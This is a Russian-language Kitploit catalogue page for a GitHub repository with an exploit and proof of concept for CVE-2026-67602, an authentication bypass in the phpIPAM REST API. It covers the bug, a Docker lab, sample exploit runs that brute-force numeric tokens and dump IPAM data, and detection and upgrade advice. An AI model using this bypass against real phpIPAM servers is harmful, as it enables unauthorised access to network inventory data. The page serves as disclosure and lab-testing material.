Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass — Эксплойт и PoC для CVE-2026-67602 — обход аутентификации в REST API phpIPAM через коллизию ключей объектного кэша, включая PoC на уровне логики и скрипт удалённого эксплойта. | Kitploit
Инструменты/GitHubGitHub/hunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияБезопасность API
GitHubhunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

Эксплойт и PoC для CVE-2026-67602 — обход аутентификации в REST API phpIPAM через коллизию ключей объектного кэша, включая PoC на уровне логики и скрипт удалённого эксплойта.

Репозиторий
1021 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-67602 — phpIPAM < 1.8.2 Обход аутентификации REST API

Неаутентифицированный обход аутентификации в REST API phpIPAM, вызванный коллизией ключей объектного кэша: строка базы данных, кэшируемая при разрешении app_id приложения API, удовлетворяет последующей проверке app_code (токена) всякий раз, когда предоставленный токен равен числовому id строки. Реальный секрет приложения никогда не сравнивается.

  • CVE: CVE-2026-67602
  • CVSS 4.0: 9.3 Критический (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)
  • CWE: CWE-706 (Использование некорректно разрешённого имени или ссылки)
  • Затронуто: phpIPAM до 1.8.2, приложения REST API с app_security = ssl_code
  • Исправлено: phpIPAM 1.8.2 (коммит d29728f)
  • Консультация: https://www.vulncheck.com/advisories/phpipam-authentication-bypass-via-rest-api-object-cache

Содержание

ФайлНазначение
poc_cache_collision.phpPoC на уровне логики. Запускает дословные реализации уязвимой (v1.8.1) и исправленной (1.8.2) версий fetch_object/cache_check/cache_write против заглушки базы данных и воспроизводит точную последовательность выборки одного HTTP-запроса. Установка phpIPAM не требуется.
exploit.pyУдалённый эксплойт против работающего экземпляра phpIPAM < 1.8.2: перечисляет допустимые app_id (400 против 401), подбирает числовой токен (обычно id 1-3) и опционально выгружает секции/подсети/VLAN/устройства.
docker-compose.ymlУязвимая лаборатория: phpIPAM v1.8.1 + MariaDB, обычный HTTP с IPAM_TRUST_X_FORWARDED=true, чтобы приложения ssl_code можно было тестировать через заголовок X-Forwarded-Proto.

1. PoC на уровне логики (сервер не нужен)

root@kitploit:~
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client')  -> строка id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (заголовок phpipam-token) -> ОБЪЕКТ (попадание в кэш!)
[3] $app_id == $app_temp->app_id  ->  АУТЕНТИФИЦИРОВАН

$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (заголовок phpipam-token) -> false
[3] Ответ: 401 Unauthorized — токен отклонён

2. Воспроизведение в Docker

root@kitploit:~
$ docker compose up -d
  1. Перейдите на http://localhost:8080/, перейдите к установщику (http://localhost:8080/install/), выберите Автоматическая установка базы данных, пользователь MySQL root / пароль phpipamAdminRoot.
  2. Войдите (admin / admin), задайте новый пароль администратора при запросе.
  3. Создайте приложение API: Администрирование → Управление API → новое:
    • Имя приложения (app_id): client
    • Безопасность: Код API (ssl_code)
    • Разрешения: Чтение / Запись / Удаление
  4. phpIPAM генерирует случайный 32-символьный код приложения. Копировать его не нужно — в этом и заключается суть ошибки.

Запустите эксплойт (флаг --xfp удовлетворяет проверке HTTPS через X-Forwarded-Proto, которому доверяет лаборатория):

root@kitploit:~
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Цель: http://localhost:8080
[*] Подбор числовых токенов (id строк) 1..64 для app_id='client'...
[+] ОБХОД АУТЕНТИФИКАЦИИ — phpipam-token: 1 принят
[+] Реальный 32-символьный app_code приложения так и не понадобился.
[+] GET /api/client/sections/ -> HTTP 200, 1 секция(и) доступна для чтения
[*] Выгрузка данных IPAM...

3. Обнаружение и устранение

  • Обновитесь до phpIPAM 1.8.2 или новее. Исправление ключует объектный кэш по столбцу поиска, а также по значению (коммит d29728f).
  • До обновления отключите или перенастройте приложения API ssl_code (другие режимы безопасности не затронуты этой коллизией кэша).
  • Проверьте журналы вашего веб-сервера / phpIPAM на запросы к /api/<app_id>/... с чисто числовым заголовком phpipam-token — легитимные токены представляют собой 32-символьные случайные строки, поэтому числовые токены являются высокоточным IOC.
  • Ротируйте коды приложений API и токены пользователей при подозрении на раскрытие.

Ответственное использование

Этот репозиторий предназначен только для оборонительных исследований и авторизованного тестирования на проникновение. Запускайте его только против систем, которыми вы владеете или на тестирование которых имеете письменное разрешение.

Скачать инструмент